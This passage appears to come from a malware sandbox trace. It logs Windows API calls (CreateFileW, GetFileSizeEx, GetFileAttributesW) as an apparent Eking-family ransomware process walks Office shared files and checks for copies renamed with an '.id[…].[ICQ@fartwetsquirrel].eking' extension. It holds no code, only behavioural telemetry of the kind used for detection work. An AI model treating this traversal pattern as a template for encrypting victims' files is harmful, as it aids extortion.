"c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.330] SetEvent (hEvent=0x2b8) returned 1 [0232.330] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.333] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=18624) returned 1 [0232.333] CloseHandle (hObject=0x358) returned 1 [0232.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0232.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20 [0232.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.342] SetEvent (hEvent=0x2b8) returned 1 [0232.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.346] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=244296) returned 1 [0232.346] CloseHandle (hObject=0x358) returned 1 [0232.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0232.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0232.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.347] SetEvent (hEvent=0x2b8) returned 1 [0232.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.351] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1074) returned 1 [0232.351] CloseHandle (hObject=0x358) returned 1 [0232.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0232.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0232.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.352] SetEvent (hEvent=0x2b8) returned 1 [0232.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.355] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=645) returned 1 [0232.355] CloseHandle (hObject=0x358) returned 1 [0232.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0232.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0232.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.435] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=237) returned 1 [0232.435] CloseHandle (hObject=0x364) returned 1 [0232.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0232.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0232.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.436] SetEvent (hEvent=0x2b8) returned 1 [0232.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0232.448] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=235) returned 1 [0232.449] CloseHandle (hObject=0x348) returned 1 [0232.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0232.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0232.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.463] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=237) returned 1 [0232.463] CloseHandle (hObject=0x364) returned 1 [0232.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0232.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0232.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.464] SetEvent (hEvent=0x2b8) returned 1 [0232.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.470] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6381) returned 1 [0232.470] CloseHandle (hObject=0x364) returned 1 [0232.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0232.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0232.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.471] SetEvent (hEvent=0x2b8) returned 1 [0232.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.502] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5115) returned 1 [0232.503] CloseHandle (hObject=0x358) returned 1 [0232.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0232.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0232.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.503] SetEvent (hEvent=0x2b8) returned 1 [0232.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.529] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1920) returned 1 [0232.529] CloseHandle (hObject=0x364) returned 1 [0232.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0232.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0232.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.530] SetEvent (hEvent=0x2b8) returned 1 [0232.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.544] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4734) returned 1 [0232.544] CloseHandle (hObject=0x358) returned 1 [0232.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0232.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0232.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.544] SetEvent (hEvent=0x2b8) returned 1 [0232.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.550] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10569) returned 1 [0232.550] CloseHandle (hObject=0x358) returned 1 [0232.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0232.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0232.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.551] SetEvent (hEvent=0x2b8) returned 1 [0232.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0232.662] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=230) returned 1 [0232.662] CloseHandle (hObject=0x374) returned 1 [0232.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0232.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0232.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.664] SetEvent (hEvent=0x2b8) returned 1 [0232.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0232.667] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=990032) returned 1 [0232.667] CloseHandle (hObject=0x374) returned 1 [0232.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0232.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0232.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0232.674] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=12448) returned 1 [0232.675] CloseHandle (hObject=0x374) returned 1 [0232.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0232.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0232.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.675] SetEvent (hEvent=0x2b8) returned 1 [0232.676] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0232.677] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=20608) returned 1 [0232.677] CloseHandle (hObject=0x374) returned 1 [0232.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0232.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0232.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program 